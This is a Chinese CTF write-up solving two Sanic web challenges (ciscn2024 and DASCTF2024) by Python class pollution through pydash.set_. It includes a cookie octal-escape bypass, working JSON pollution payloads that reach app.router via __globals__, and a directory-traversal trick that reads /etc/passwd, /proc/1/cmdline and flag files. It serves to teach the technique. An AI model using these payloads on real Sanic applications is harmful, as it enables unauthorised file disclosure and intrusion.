从ciscn2024 sanic和DASCTF2024 Sanic’s revenge 学sanic原型链污染
四川回来 给机房带来了久违的流感
ciscn2024 sanic 访问/src给出源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 from sanic import Sanicfrom sanic.response import text, htmlfrom sanic_session import Sessionimport pydashclass Pollute : def __init__ (self ): pass app = Sanic(__name__) app.static("/static/" , "./static/" ) Session(app) @app.route('/' , methods=['GET' , 'POST' ] ) async def index (request ): return html(open ('static/index.html' ).read()) @app.route("/login" ) async def login (request ): user = request.cookies.get("user" ) if user.lower() == 'adm;n' : request.ctx.session['admin' ] = True return text("login success" ) return text("login fail" ) @app.route("/src" ) async def src (request ): return text(open (__file__).read()) @app.route("/admin" , methods=['GET' , 'POST' ] ) async def admin (request ): if request.ctx.session.get('admin' ) == True : key = request.json['key' ] value = request.json['value' ] if key and value and type (key) is str and '_.' not in key: pollute = Pollute() pydash.set_(pollute, key, value) return text("success" ) else : return text("forbidden" ) return text("forbidden" ) if __name__ == '__main__' : app.run(host='0.0.0.0' )
cookies伪造 注意到/admin路由存在一个pydash.set_ 不过调用的话需要session为admin
1 2 3 4 5 6 7 8 @app.route("/login" ) async def login (request ): user = request.cookies.get("user" ) if user.lower() == 'adm;n' : request.ctx.session['admin' ] = True return text("login success" ) return text("login fail" )
显然 在cooikes里面直接使用adm;n是不行的 这个 cookies会把他作为另外一个值解析 下个断点调试一下看看有没有绕过方法
显然直接传递参数不行
翻找sanic的源码 在cookies 目录的request.py文件下存在这样一个函数
这个函数是对所给的8进制字符串进行转换
调用也很好找 当该字符的长度>2 同时字符串整体存在“”包裹的时候就会触发
成功提权成admin
pydash==5.12原型链污染 注意到传递一个键值和一个键名 会调用pydash.set_ 看看这个函数干了什么
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 def set_ (obj, path, value ): """ Sets the value of an object described by `path`. If any part of the object path doesn't exist, it will be created. Args: obj (list|dict): Object to modify. path (str | list): Target path to set value to. value (mixed): Value to set. Returns: mixed: Modified `obj`. Warning: `obj` is modified in place. Example: >>> set_({}, 'a.b.c', 1) {'a': {'b': {'c': 1}}} >>> set_({}, 'a.0.c', 1) {'a': {'0': {'c': 1}}} >>> set_([1, 2], '[2][0]', 1) [1, 2, [1]] >>> set_({}, 'a.b[0].c', 1) {'a': {'b': [{'c': 1}]}} .. versionadded:: 2.2.0 .. versionchanged:: 3.3.0 Added :func:`set_` as main definition and :func:`deep_set` as alias. .. versionchanged:: 4.0.0 - Modify `obj` in place. - Support creating default path values as ``list`` or ``dict`` based on whether key or index substrings are used. - Remove alias ``deep_set``. """ return set_with(obj, path, value)
给了代码示例 很明显这是一个合并的操作 存在原型链污染的问题
注意到
1 2 3 4 5 @app.route("/src" ) async def src (request ): return text(open (__file__).read())
标准的任意文件读取 污染file读取文件
翻找源码 注意到处理的这样一个逻辑
1 2 3 4 5 6 7 8 9 10 11 12 13 if not callable (updater): updater = pyd.constant(updater) if customizer is not None and not callable (customizer): call_customizer = partial(callit, clone, customizer, argcount=1 ) elif customizer: call_customizer = partial(callit, customizer, argcount=getargcount(customizer, maxargs=3 )) else : call_customizer = None default_type = dict if isinstance (obj, dict ) else list tokens = to_path_tokens(path)
这里对传入的path使用to_path_tokens进行了处理
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 def to_path_tokens (value ): """Parse `value` into :class:`PathToken` objects.""" if pyd.is_string(value) and ("." in value or "[" in value): keys = [ PathToken(int (key[1 :-1 ]), default_factory=list ) if RE_PATH_LIST_INDEX.match (key) else PathToken(unescape_path_key(key), default_factory=dict ) for key in filter (None , RE_PATH_KEY_DELIM.split(value)) ] elif pyd.is_string(value) or pyd.is_number(value): keys = [PathToken(value, default_factory=dict )] elif value is UNSET: keys = [] else : keys = value return keys
会尝试使用一个unescape_path_key作为路径解析的正则匹配符号
1 2 3 4 5 6 7 8 9 10 11 keys = [ PathToken(int (key[1 :-1 ]), default_factory=list ) if RE_PATH_LIST_INDEX.match (key) else PathToken(unescape_path_key(key), default_factory=dict ) for key in filter (None , RE_PATH_KEY_DELIM.split(value)) ] def unescape_path_key (key ): """Unescape path key.""" key = key.replace(r"\\" , "\\" ) key = key.replace(r"\." , r"." ) return key
注意到这里处理的时候 吧\.作为.去处理 这样我们就能绕过_.的限制了
成功读取/etc/passwd
尝试读取flag
失败了 说明flag并不叫这个名字 寻找可以污染的变量
directory_view& directory_handler 注意到使用了这个函数static
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 def static ( self, uri: str , file_or_directory: Union [PathLike, str ], pattern: str = r"/?.+" , use_modified_since: bool = True , use_content_range: bool = False , stream_large_files: Union [bool , int ] = False , name: str = "static" , host: Optional [str ] = None , strict_slashes: Optional [bool ] = None , content_type: Optional [str ] = None , apply: bool = True , resource_type: Optional [str ] = None , index: Optional [Union [str , Sequence [str ]]] = None , directory_view: bool = False , directory_handler: Optional [DirectoryHandler] = None , ):
这里提供了很多注册时初始化的变量
注意这两个值
1 2 3 4 5 6 7 directory_view (bool , optional): Whether to fallback to showing the directory viewer when exposing a directory. Defaults to `False `. directory_handler (Optional [DirectoryHandler], optional): An instance of DirectoryHandler that can be used for explicitly controlling and subclassing the behavior of the default directory handler.
directory_view表示了是否开启列目录功能
directory_handler表示了选择列出的目录
如果把view设置为true 然后把directory_handler 设置为/ 就能完成flag的读取
寻找directory_view相关的函数
注意到
如果没有设置directory_handler 但是开启了directory_view 会调用DirectoryHandler自动构造
和flask不太一样 sanic运行的app叫__mp_main__
可以从报错里面看出来
写一个eval函数打印一下
1 2 3 4 @app.route("/eval") async def shell(request): answer=eval(request.args.get('cmd')) return text("ok")
1 http://127.0.0.1:8000/eval?cmd=print(app.router.name_index)
里面包括了所有已经注册的路由
1 http://127.0.0.1:8000/eval?cmd=print(app.router.name_index['__mp_main__.static'])
查看static下的属性成员
1 http://127.0.0.1:8000/eval?cmd=print(app.router.name_index['__mp_main__.static'].handler)
可以看到找到了我们想要污染的东西
成功找到directory_view对象
成功找到directory_hander 注意到这里是列表的形式
1 2 3 {"key":"__class__\\\\.__init__\\\\.__globals__\\\\.app.router.name_index.__mp_main__\\.static.handler.keywords.directory_handler.directory_view","value": "True"} {"key":"__class__\\\\.__init__\\\\.__globals__\\\\.app.router.name_index.__mp_main__\\.static.handler.keywords.directory_handler.directory._parts","value": ["/"]}
在static目录下可以看到flag
污染得到flag
DASCTF 2024暑期挑战赛 Sanic’s revenge 给了部分源代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 from sanic import Sanicimport osfrom sanic.response import text, htmlimport sysimport randomimport pydashclass Pollute : def __init__ (self ): pass app = Sanic(__name__) app.static("/static/" , "./static/" ) @app.route("/*****secret********" ) async def secret (request ): secret='**************************' return text("can you find my route name ???" +secret) @app.route('/' , methods=['GET' , 'POST' ] ) async def index (request ): return html(open ('static/index.html' ).read()) @app.route("/pollute" , methods=['GET' , 'POST' ] ) async def POLLUTE (request ): key = request.json['key' ] value = request.json['value' ] if key and value and type (key) is str and 'parts' not in key and 'proc' not in str (value) and type (value) is not list : pollute = Pollute() pydash.set_(pollute, key, value) return text("success" ) else : log_dir = create_log_dir(6 ) log_dir_bak = log_dir + ".." log_file = "/tmp/" + log_dir + "/access.log" log_file_bak = "/tmp/" + log_dir_bak + "/access.log.bak" log = 'key: ' + str (key) + '|' + 'value: ' + str (value); os.system("mkdir /tmp/" + log_dir) with open (log_file, 'w' ) as f: f.write(log) os.system("mkdir /tmp/" + log_dir_bak) with open (log_file_bak, 'w' ) as f: f.write(log) return text("!!!此地禁止胡来,你的非法操作已经被记录!!!" ) if __name__ == '__main__' : app.run(host='0.0.0.0' )
显然可以直接完成污染
1 { "key" : "__class__\\\\.__init__\\\\.__globals__\\\\.app.router.name_index.__mp_main__\\.static.handler.keywords.directory_handler.directory_view" , "value" : "True" }
不过过滤了parts 没办法直接通过污染directory._parts完成注入
继续查看可以被污染的变量
1 file_or_directory(Union[PathLike,url]):静态文件的路径或包含静态文件的目录。
1 {"key":"__class__\\\\.__init__\\\\.__globals__\\\\.app.router.name_index.__mp_main__\\.static.handler.keywords.file_or_directory","value": "/"}
把static成功污染到/ 可以读取任意文件 查看环境变量
对的 这个是假的flag
由于我们不知道完整的app.py内容 尝试去读取
1 /proc/1/cmdline 里面储存了执行的命令
成功读取到start.sh 的内容 得知了名字是2Q17A58T9F65y5i8,py
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 from sanic import Sanicimport osfrom sanic.response import text, htmlimport sysimport randomimport pydashclass Pollute : def __init__ (self ): pass def create_log_dir (n ): ret = "" for i in range (n): num = random.randint(0 , 9 ) letter = chr (random.randint(97 , 122 )) Letter = chr (random.randint(65 , 90 )) s = str (random.choice([num, letter, Letter])) ret += s return ret app = Sanic(__name__) app.static("/static/" , "./static/" ) @app.route("/Wa58a1qEQ59857qQRPPQ" ) async def secret (request ): with open ("/h111int" ,'r' ) as f: hint=f.read() return text(hint) @app.route('/' , methods=['GET' , 'POST' ] ) async def index (request ): return html(open ('static/index.html' ).read()) @app.route("/adminLook" , methods=['GET' ] ) async def AdminLook (request ): log_dir=os.popen('ls /tmp -al' ).read(); return text(log_dir) @app.route("/pollute" , methods=['GET' , 'POST' ] ) async def POLLUTE (request ): key = request.json['key' ] value = request.json['value' ] if key and value and type (key) is str and 'parts' not in key and 'proc' not in str (value) and type (value) is not list : pollute = Pollute() pydash.set_(pollute, key, value) return text("success" ) else : log_dir=create_log_dir(6 ) log_dir_bak=log_dir+".." log_file="/tmp/" +log_dir+"/access.log" log_file_bak="/tmp/" +log_dir_bak+"/access.log.bak" log='key: ' +str (key)+'|' +'value: ' +str (value); os.system("mkdir /tmp/" +log_dir) with open (log_file, 'w' ) as f: f.write(log) os.system("mkdir /tmp/" +log_dir_bak) with open (log_file_bak, 'w' ) as f: f.write(log) return text("!!!此地禁止胡来,你的非法操作已经被记录!!!" ) if __name__ == '__main__' : app.run(host='0.0.0.0' )
访问/Wa58a1qEQ59857qQRPPQ 得到hint、
不知道flag的名字是什么 还是没办法读取 需要找一个方法 类似directory._parts的东西去读取目录
起一个环境测试一下
1 2 3 4 5 6 7 8 app = Sanic(__name__) app.static("/static" , r"D:\Desktop\sanic" , directory_view=True ) Session(app) @app.route('/' , methods=['GET' , 'POST' ] ) async def index (request ): return html(open ('static/index.html' ).read())
handler 在 Sanic 中,_static_request_handler
是一个内部函数,用于处理静态文件请求
断点下到header这里
前面都是一些获取了请求头之后 对数据头的处理和分析
后面继续走下去 会调用return await directory_handler.handle(request, request.path) 方法
handle方法
1 current = path.strip("/")[len(self.base) :].strip("/")
这里先将传入的path两端的斜杠去掉 然后去掉 self.base
的长度部分,然后再一次去除掉两端的斜杠 从而得到静态文件的相对路径
如果开启了directory_view 就会列出他的目录
这里的self.base这个属性我们是可以控制的,是handler里面的一个属性
但是这个path是我们访问的路径 也可以直接控制
如果修改这个值为.. 就能实现目录穿越
现在就要寻找一个可以使得值变成..的方法
注意到
1 2 3 4 path="/static/tmp/aaaaaa.." base="static/tmp/aaaaaa" current = path.strip("/" )[len (base) :].strip("/" ) print (current)
输出
只要存在一个已知目录 访问/目录../ 即可造成目录穿越
在目录下创建一个test文件夹
访问http://127.0.0.1:8888/static/test../
然后把self.base的值设置成static/test
成功穿越
解题 先污染file_or_directory 为tmp目录
1 {"key":"__class__\\\\.__init__\\\\.__globals__\\\\.app.router.name_index.__mp_main__\\.static.handler.keywords.file_or_directory","value": "/tmp"}
然后污染base的值为static/存在的文件夹名(adminlook可知)
1 {"key":"__class__\\\\.__init__\\\\.__globals__\\\\.app.router.name_index.__mp_main__\\.static.handler.directory_handler.base","value": "static/qrt4t8"}
成功返回了static上一层的flag名字 45W698WqtsgQT1_flag
然后读取即可